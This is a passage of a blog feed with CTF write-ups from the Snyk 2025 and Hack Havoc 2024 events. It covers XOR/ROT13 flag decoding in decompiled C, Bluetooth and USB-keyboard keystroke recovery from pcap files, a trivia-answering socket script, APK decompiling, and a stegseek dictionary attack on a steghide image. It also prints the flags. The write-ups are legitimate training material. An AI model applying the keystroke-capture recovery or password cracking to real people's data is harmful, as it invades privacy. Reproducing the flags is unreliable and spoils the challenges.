void decode_flag(char *output) {
    uint8_t encrypted_flag[32] = {
        0x7b, 0x7a, 0x71, 0x26, 0x76, 0x75, 0x72, 0x24,
        0x75, 0x70, 0x20, 0x76, 0x74, 0x73, 0x70, 0x71,
        0x73, 0x24, 0x26, 0x7a, 0x72, 0x77, 0x23, 0x7a,
        0x7b, 0x7a, 0x24, 0x24, 0x27, 0x77, 0x20, 0x73
    };

    for (int i = 0; i &amp;lt; 32; i++) {
        output[i] = encrypted_flag[i] ^ 0x42;  // XOR decryption
    }
    output[32] = &apos;\0&apos;;  // Null-terminate the string
}
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Unintendent Way :-&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;From Here we directly get the flag but maybe this is not intendent way,&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;Just Converting this to LE to BE and XOR with 0x42&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;                 ((LE to BE) - 1)

7b 7a 71 26 76 75 72 24 ==&amp;gt; 24 72 75 76 26 71 7a 7b 
75 70 20 76 74 73 70 71 ==&amp;gt; 71 70 73 74 76 20 70 75 
73 24 26 7a 72 77 23 7a ==&amp;gt; 7a 23 77 72 7a 26 24 73 
7b 7a 24 24 27 77 20 73 ==&amp;gt; 73 20 77 27 24 24 7a 7b
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;Files/image%2056.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Intendent Way :-&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;This Code is just doing &lt;code&gt;XOR with 0x42 with each byte&lt;/code&gt; given.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Now let’s Analyze the C code of Main,&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;string.h&amp;gt;

void encode_input(char *param_1, char *param_2);
void decode_flag(char *param);

int main(void) {
    int iVar1;
    long in_FS_OFFSET;
    unsigned long long Password_Part1;
    unsigned long long Password_Part2;
    char local_c8[64];
    char local_88[64];
    char local_48[56];
    long local_10;
  
    local_10 = *(long *)(in_FS_OFFSET + 0x28);
    Password_Part1 = 0x635f677265707266;  // &quot;frperg_c&quot;
    Password_Part2 = 0x7165626a66666e;    // &quot;nffjbeq&quot;

    // Password = 0x7165626A66666E635F677265707266 // &quot;frperg_cnffjbeq&quot; ==(ROT13)==&amp;gt; 
    //&quot;secret_password&quot;
    
    puts(&quot;Welcome to the Encoding Challenge!&quot;);
    printf(&quot;Enter the secret word: &quot;);
    scanf(&quot;%63s&quot;, local_c8);  // Read user input safely
  
    encode_input(local_c8, local_88);  // Encode the input
  
    iVar1 = strcmp(local_88, (char *)&amp;amp;Password_Part1);  // Compare encoded input with &quot;frperg_c&quot;
    if (iVar1 == 0) {
        decode_flag(local_48);  // Decode the flag if input matches
        printf(&quot;Well done! Here&apos;s your flag: flag{%s}\n&quot;, local_48);
    } else {
        puts(&quot;Not quite right. Keep trying!&quot;);
    }
  
    if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
        __stack_chk_fail();  // Stack protection check
    }
  
    return 0;
}

&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;As per Main code we get the string which is comparing &lt;code&gt;secret_password&lt;/code&gt; so when i use that in binary i got the flag.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;Files/image%2057.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;flag{f074d38932164b278a508df11b5eff89}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Forensics&lt;/h2&gt;
&lt;h3&gt;1. Free Range Packets&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;Files/image%2058.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Given File: freeRangePackets.pcapng&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;a href=&quot;/uploads/Snyk_2025/freeRangePackets.pcapng&quot;&gt;freeRangePackets.pcapng&lt;/a&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;This Pcap file contains the conversation of bluetooth protocol and our task is to carve the flag from payload part because it is spreaded over all in payload of Bluetooth L2CAP Protocl’s payload as per the image.&lt;/li&gt;
&lt;li&gt;So i carve this data using https://tshark.dev/ &lt;code&gt;Tshark&lt;/code&gt; Tool and some bash filtering command.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;Files/image%2059.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Here it the whole command,&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;tshark -r freeRangePackets.pcapng -Y &quot;bthci_acl&quot; -V -x | \
grep &quot;Payload:&quot; | \
sed &apos;s/ *Payload: //g&apos; | \
tr -d &apos;\n&apos; | \
sed &apos;s/0bef03//g&apos; | \
sed &apos;s/9a//g&apos; | \
sed &apos;s/09ff01065c//g&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;Breakdown of this command with sublime text,
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Step One Getting everything &lt;code&gt;bthci-acl&lt;/code&gt; in short getting filtering all packets which contains our payload using this command&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;tshark -r freeRangePackets.pcapng -Y &quot;bthci_acl&quot; -V -x&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;Files/image%2060.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;Files/image%2061.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;ol&gt;
&lt;li&gt;We Grep all fields which contains Payload using this command,&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;| grep &quot;Payload:&quot;&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;Files/image%2062.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Now we remove the Payload text and new line and combine all the hex using this command,&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;sed &apos;s/ *Payload: //g&apos; | tr -d &apos;\n&apos;&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;Files/image%2063.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Now as per above wireshark image we only need &lt;code&gt;last 2 byes&lt;/code&gt; for our actual printable data so we remove all other hex using this command,&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;sed &apos;s/0bef03//g&apos; |&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;Files/image%2064.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;Files/image%2065.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;We also remove the &lt;code&gt;9a&lt;/code&gt; which non-printable character and &lt;code&gt;09ff01065c&lt;/code&gt; is garbage data so we remove it using this command,&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;sed &apos;s/9a//g&apos; | sed &apos;s/09ff01065c//g&apos;&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;Files/image%2066.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;Files/image%2067.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;This is final hex we got and when we convert it we got our flag&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;Files/image%2068.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;flag{b5be72ab7e0254c056ffb57a0db124ce}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;2. ClickityClack&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;Files/image%2069.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Given File: click.pcapng&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;a href=&quot;/uploads/Snyk_2025/click.pcapng&quot;&gt;click.pcapng&lt;/a&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;When i open this pcapng in wireshark i found that this is &lt;code&gt;USB Protocol&lt;/code&gt; conversation and i have already solved such challenge and also seen the video of one and only https://www.youtube.com/watch?v=0HXL4RGmExo so i am familier with this technique&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;Files/image%2070.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;For this i have used this github repo to extract the content named &lt;code&gt;5h4rrk&lt;/code&gt; https://github.com/5h4rrk/CTF-Usb_Keyboard_Parser/ and after using this i got the flag,
&lt;ul&gt;
&lt;li&gt;For technicalities see this video ( https://www.youtube.com/watch?v=0HXL4RGmExo)&lt;/li&gt;
&lt;li&gt;(Credit Goes to https://github.com/5h4rrk/ and https://www.youtube.com/watch?v=0HXL4RGmExo)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;import subprocess,sys,os
import shlex,string
usb_codes = {
    &quot;0x04&quot;:[&apos;a&apos;,&apos;A&apos;],&quot;0x05&quot;:[&apos;b&apos;,&apos;B&apos;], &quot;0x06&quot;:[&apos;c&apos;,&apos;C&apos;], &quot;0x07&quot;:[&apos;d&apos;,&apos;D&apos;], &quot;0x08&quot;:[&apos;e&apos;,&apos;E&apos;], &quot;0x09&quot;:[&apos;f&apos;,&apos;F&apos;],&quot;0x0A&quot;:[&apos;g&apos;,&apos;G&apos;],&quot;0x0B&quot;:[&apos;h&apos;,&apos;H&apos;], &quot;0x0C&quot;:[&apos;i&apos;,&apos;I&apos;], &quot;0x0D&quot;:[&apos;j&apos;,&apos;J&apos;], &quot;0x0E&quot;:[&apos;k&apos;,&apos;K&apos;], &quot;0x0F&quot;:[&apos;l&apos;,&apos;L&apos;],&quot;0x10&quot;:[&apos;m&apos;,&apos;M&apos;], &quot;0x11&quot;:[&apos;n&apos;,&apos;N&apos;], &quot;0x12&quot;:[&apos;o&apos;,&apos;O&apos;], &quot;0x13&quot;:[&apos;p&apos;,&apos;P&apos;], &quot;0x14&quot;:[&apos;q&apos;,&apos;Q&apos;], &quot;0x15&quot;:[&apos;r&apos;,&apos;R&apos;],&quot;0x16&quot;:[&apos;s&apos;,&apos;S&apos;], &quot;0x17&quot;:[&apos;t&apos;,&apos;T&apos;], &quot;0x18&quot;:[&apos;u&apos;,&apos;U&apos;], &quot;0x19&quot;:[&apos;v&apos;,&apos;V&apos;], &quot;0x1A&quot;:[&apos;w&apos;,&apos;W&apos;], &quot;0x1B&quot;:[&apos;x&apos;,&apos;X&apos;],&quot;0x1C&quot;:[&apos;y&apos;,&apos;Y&apos;], &quot;0x1D&quot;:[&apos;z&apos;,&apos;Z&apos;], &quot;0x1E&quot;:[&apos;1&apos;,&apos;!&apos;], &quot;0x1F&quot;:[&apos;2&apos;,&apos;@&apos;], &quot;0x20&quot;:[&apos;3&apos;,&apos;#&apos;], &quot;0x21&quot;:[&apos;4&apos;,&apos;$&apos;],&quot;0x22&quot;:[&apos;5&apos;,&apos;%&apos;], &quot;0x23&quot;:[&apos;6&apos;,&apos;^&apos;], &quot;0x24&quot;:[&apos;7&apos;,&apos;&amp;amp;&apos;], &quot;0x25&quot;:[&apos;8&apos;,&apos;*&apos;], &quot;0x26&quot;:[&apos;9&apos;,&apos;(&apos;], &quot;0x27&quot;:[&apos;0&apos;,&apos;)&apos;],&quot;0x28&quot;:[&apos;\n&apos;,&apos;\n&apos;], &quot;0x29&quot;:[&apos;[ESC]&apos;,&apos;[ESC]&apos;], &quot;0x2A&quot;:[&apos;[BACKSPACE]&apos;,&apos;[BACKSPACE]&apos;], &quot;0x2B&quot;:[&apos;\t&apos;,&apos;\t&apos;],&quot;0x2C&quot;:[&apos; &apos;,&apos; &apos;], &quot;0x2D&quot;:[&apos;-&apos;,&apos;_&apos;], &quot;0x2E&quot;:[&apos;=&apos;,&apos;+&apos;], &quot;0x2F&quot;:[&apos;[&apos;,&apos;{&apos;], &quot;0x30&quot;:[&apos;]&apos;,&apos;}&apos;], &quot;0x31&quot;:[&apos;\&apos;,&quot;|&apos;],&quot;0x32&quot;:[&apos;#&apos;,&apos;~&apos;], &quot;0x33&quot;:&quot;;:&quot;, &quot;0x34&quot;:&quot;&apos;\&quot;&quot;, &quot;0x36&quot;:&quot;,&amp;lt;&quot;,  &quot;0x37&quot;:&quot;.&amp;gt;&quot;, &quot;0x38&quot;:&quot;/?&quot;,&quot;0x39&quot;:[&apos;[CAPSLOCK]&apos;,&apos;[CAPSLOCK]&apos;], &quot;0x3A&quot;:[&apos;F1&apos;], &quot;0x3B&quot;:[&apos;F2&apos;], &quot;0x3C&quot;:[&apos;F3&apos;], &quot;0x3D&quot;:[&apos;F4&apos;], &quot;0x3E&quot;:[&apos;F5&apos;], &quot;0x3F&quot;:[&apos;F6&apos;], &quot;0x41&quot;:[&apos;F7&apos;], &quot;0x42&quot;:[&apos;F8&apos;], &quot;0x43&quot;:[&apos;F9&apos;], &quot;0x44&quot;:[&apos;F10&apos;], &quot;0x45&quot;:[&apos;F11&apos;],&quot;0x46&quot;:[&apos;F12&apos;], &quot;0x4F&quot;:[u&apos;→&apos;,u&apos;→&apos;], &quot;0x50&quot;:[u&apos;←&apos;,u&apos;←&apos;], &quot;0x51&quot;:[u&apos;↓&apos;,u&apos;↓&apos;], &quot;0x52&quot;:[u&apos;↑&apos;,u&apos;↑&apos;]
   }
data = &quot;usb.capdata&quot;
filepath = sys.argv[1]

def keystroke_decoder(filepath,data):
    out = subprocess.run(shlex.split(&quot;tshark -r  %s -Y \&quot;%s\&quot; -T fields -e %s&quot;%(filepath,data,data)),capture_output=True)
    output = out.stdout.split() # Last 8 bytes of URB_INTERPRUT_IN
    message = []
    modifier =0
    count =0
    for i in range(len(output)):
        buffer = str(output[i])[2:-1]
        if (buffer)[:2] == &quot;02&quot; or (buffer)[:2] == &quot;20&quot;:
            for j in range(1):
                count +=1 
                m =&quot;0x&quot; + buffer[4:6].upper()
                if m in usb_codes and m == &quot;0x2A&quot;: message.pop(len(message)-1)
                elif m in usb_codes: message.append(usb_codes.get(m)[1])
                else: break
        else:
            if buffer[:2] == &quot;01&quot;: 
                modifier +=1
                continue   
            for j in range(1):
                count +=1 
                m  = &quot;0x&quot; + buffer[4:6].upper()
                if m in usb_codes and m == &quot;0x2A&quot;: message.pop(len(message)-1)
                elif m in usb_codes : message.append(usb_codes.get(m)[0])
                else: break

    if modifier != 0:
        print(f&apos;[-] Found Modifier in {modifier} packets [-]&apos;)
    return message

if len(sys.argv) != 2 or os.path.exists(filepath) != 1:
    print(&quot;\nUsage : &quot;)
    print(&quot;\npython Usb_Keyboard_Parser.py &amp;lt;filepath&amp;gt;&quot;)
    print(&quot;Created by \t\t\t Sabhya &amp;lt;sabhrajmeh05@gmail.com\n&quot;)
    print(&quot;Must Install tshark &amp;amp; subprocess first to use it\n&quot;)
    print(&quot;To install run \&quot;sudo apt install tshark\&quot;&quot;)
    print(&quot;To install run \&quot;pip install subprocess.run\&quot;&quot;)
    exit(1)

function_call = keystroke_decoder(filepath,data)
hid_data =&apos;&apos;

for _ in range(len(function_call)): hid_data += function_call[_]

if(hid_data == &apos;&apos;):
    function_call = keystroke_decoder(filepath, &quot;usbhid.data&quot;)
    print(&quot;\n[+] Using filter \&quot;usbhid.data\&quot; Retrived HID Data is : \n&quot;)
    for _ in range(len(function_call)): print(function_call[_],end=&apos;&apos;)
    print(&quot;\n&quot;)
else:
    print(&quot;\n[+] Using filter \&quot;usb.capdata\&quot; Retrived HID Data is : \n&quot;)
    print(hid_data)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;Files/image%2071.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;flag{a3ce310e9a0dc53bc030847192e2f585}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Scripting&lt;/h2&gt;
&lt;h3&gt;1. Coding Mountains&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;Files/image%2072.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;Files/image%2073.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Given File: mountains.json&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;/uploads/Snyk_2025/mountains.json&quot;&gt;mountains.json&lt;/a&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Understanding the question and execution flow&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;Files/image%2074.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;To get flag we need to give answers to &lt;code&gt;50 question&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Answers we have to fetch from json file - &lt;code&gt;Height and Year for the mountain&lt;/code&gt; as asked in the question.&lt;/li&gt;
&lt;li&gt;And We need a script to do it.&lt;/li&gt;
&lt;li&gt;After understanding the requirements, made a to-do list and with the help of &lt;code&gt;chatgpt written a script&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;import socket
import json

with open(&quot;mountains.json&quot;, &quot;r&quot;) as file:
    mountains = json.load(file) 
mountain_dict = {m[&quot;name&quot;]: (m[&quot;height&quot;].replace(&quot;,&quot;, &quot;&quot;), m[&quot;first&quot;]) for m in mountains}
HOST = &quot;challenge.ctf.games&quot;
PORT = 30954
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
    s.connect((HOST, PORT))
    
    data = s.recv(1024).decode()
    print(data)
    yes = input()
    s.sendall(yes.encode() + b&quot;\n&quot;)
    
    for i in range(102):
        data = s.recv(1024).decode()
        print(str(i)+data) #0 index will be take by initial data &quot;awesome...&quot;
        if &quot;What is the height and first ascent year of&quot; in data:
 
            mountain_name = data.split(&quot;What is the height and first ascent year of &quot;)[1].strip().replace(&quot;:&quot;, &quot;&quot;)
            if mountain_name in mountain_dict:
                height, ascent = mountain_dict[mountain_name]
                response = f&quot;{height},{ascent}\n&quot;
            else:
                response = &quot;none,none\n&quot; #as per question
            s.sendall(response.encode())
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Working flow of script:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Load the JSON File&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;Opens the file &lt;code&gt;mountains.json&lt;/code&gt; in read mode.&lt;/li&gt;
&lt;li&gt;Parses the JSON content into a Python object (&lt;code&gt;mountains&lt;/code&gt;).&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Create a Dictionary (&lt;code&gt;mountain_dict&lt;/code&gt;)&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;Extracts each mountain&apos;s &lt;code&gt;name&lt;/code&gt;, &lt;code&gt;height&lt;/code&gt;, and &lt;code&gt;first ascent year&lt;/code&gt; from the JSON data.&lt;/li&gt;
&lt;li&gt;Removes commas from &lt;code&gt;height&lt;/code&gt; values (e.g., &quot;8,848&quot; → &quot;8848&quot;).&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Establish a Connection with the Server&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;Defines &lt;code&gt;HOST = &quot;challenge.ctf.games&quot;&lt;/code&gt; and &lt;code&gt;PORT = 30954&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Creates a TCP socket using &lt;code&gt;socket.AF_INET&lt;/code&gt; and &lt;code&gt;socket.SOCK_STREAM&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Connects to the specified host and port.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Receive Initial Data from the Server&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;Reads up to &lt;code&gt;1024&lt;/code&gt; bytes from the socket.&lt;/li&gt;
&lt;li&gt;Decodes and prints the received message.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Send an Initial Response&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;Waits for user input “Y”.&lt;/li&gt;
&lt;li&gt;Sends the response to the server, appending a newline (&lt;code&gt;\n&lt;/code&gt;).&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Process Incoming Questions (Loop for 102 Iterations)&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;Receives a message from the server (up to 1024 bytes).&lt;/li&gt;
&lt;li&gt;Prints the received message, prefixed with the loop index.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Extract Mountain Name from Server&apos;s Question&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;Checks if the message contains &lt;code&gt;&quot;What is the height and first ascent year of&quot;&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Extracts the mountain name from the question.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Look Up the Mountain Information&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;Searches for the mountain name in &lt;code&gt;mountain_dict&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;If found, retrieves its height and first ascent year.&lt;/li&gt;
&lt;li&gt;Constructs a response in &lt;code&gt;&quot;height,year\n&quot;&lt;/code&gt; format.&lt;/li&gt;
&lt;li&gt;If not found, sends &lt;code&gt;&quot;none,none\n&quot;&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Send the Response to the Server&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;Encodes the response and sends it via the socket.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Loop Repeats Until All Questions Are Answered&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Script Execution&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;Files/image%2075.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;Files/image%2076.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;flag{33e043f76c3ba0fe9265749dbe650940}
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>HACK HAVOC CTF Writeups Oct 2024</title><link>https://fuwari.vercel.app/posts/hack-havoc-writeups-aug-2024/hack-havoc-ctf-writeups-october-2024/</link><guid isPermaLink="true">https://fuwari.vercel.app/posts/hack-havoc-writeups-aug-2024/hack-havoc-ctf-writeups-october-2024/</guid><description>Some Writeups of HACK HAVOC 2024.</description><pubDate>Thu, 08 Aug 2024 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;Hack Havoc CTF Writeups October 2024&lt;/h1&gt;
&lt;h1&gt;Welcome&lt;/h1&gt;
&lt;p&gt;&lt;img src=&quot;images/Welcome/image.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Here you will get the last part of the flag from Instagram and other half from Discord through bot&lt;/li&gt;
&lt;li&gt;First Half&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Welcome/bb4ab829-33f9-4e66-8744-4c9b64ac7dc8.png&quot; alt=&quot;3.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Second Half&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Welcome/213b5f80-fa77-42db-bdec-ea53896e7837.png&quot; alt=&quot;2.png&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;CM{w3lc0m3_t0_H4ac_H4voc}
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Mobile&lt;/h1&gt;
&lt;h2&gt;APK-ocalypse Now!&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;images/Mobile/APK-ocalypse_Now/image.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;I used https://github.com/skylot/jadx for decompiling the APK file,&lt;/li&gt;
&lt;li&gt;After decompiling it i hope around little bit and after some searching found a string which looks like flag but maybe encoded or something,&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Mobile/APK-ocalypse_Now/image1.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;So I open up &lt;code&gt;CyberChef&lt;/code&gt;, and first I try the &lt;code&gt;ROT13 cipher&lt;/code&gt;, which is a &lt;strong&gt;variation of the caesar cipher&lt;/strong&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Mobile/APK-ocalypse_Now/image2.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;And Boom!!! I got the flag.&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;CM{H1dd3n_7L4g_1n_M4nIF35T}
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Steganography&lt;/h1&gt;
&lt;h2&gt;Incidents in Disguise&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;images/Steg/Incidents_in_Disguise/image.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;First thing when image any lame hacker thing a lame thing which is steganographic image and i am also lame so i also tried it and yes i was right because an image size 500KB which is very odd so i try to use https://github.com/StefanoDeVuono/steghide tool for reveling content but it was password protected.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Steg/Incidents_in_Disguise/image1.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;So I decided to perform a &lt;code&gt;dictionary attack&lt;/code&gt; on this using the https://github.com/RickdeJager/stegseek tool (which is a &lt;code&gt;stehide password-ptotected file cracker&lt;/code&gt;) using &lt;code&gt;rockyou.txt&lt;/code&gt; wordlist (So Called Hacker’s Wordlist). but unfortunately it is not windows so i used in linux system.&lt;/li&gt;
&lt;li&gt;But after trying different thing like doing plain attack, reversing the whole rockyou and doing different combination i was unable solve it.&lt;/li&gt;
&lt;li&gt;After this, I have decided to see the hint on Discord, which is, &lt;code&gt;Password contains amos amos amos&lt;/code&gt;, and it also mentioned that &lt;code&gt;try to do it manually&lt;/code&gt; so know there may be some &lt;strong&gt;non-printable characters problem&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;So i tries this and boom!!! it worked&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Steg/Incidents_in_Disguise/image2.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;CM{Bru73_f0rc3_i5_b35t}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;p13ces&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;images/Steg/p13ces/image.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;When I visit the website i got many pages and images so i decided to &lt;strong&gt;download all those images&lt;/strong&gt;,&lt;/li&gt;
&lt;li&gt;There are in &lt;strong&gt;total 10 images&lt;/strong&gt;,&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Steg/p13ces/image1.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;So again i tries https://github.com/StefanoDeVuono/steghide on each image and i got piece of flag from &lt;code&gt;2.jpg&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Steg/p13ces/image2.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
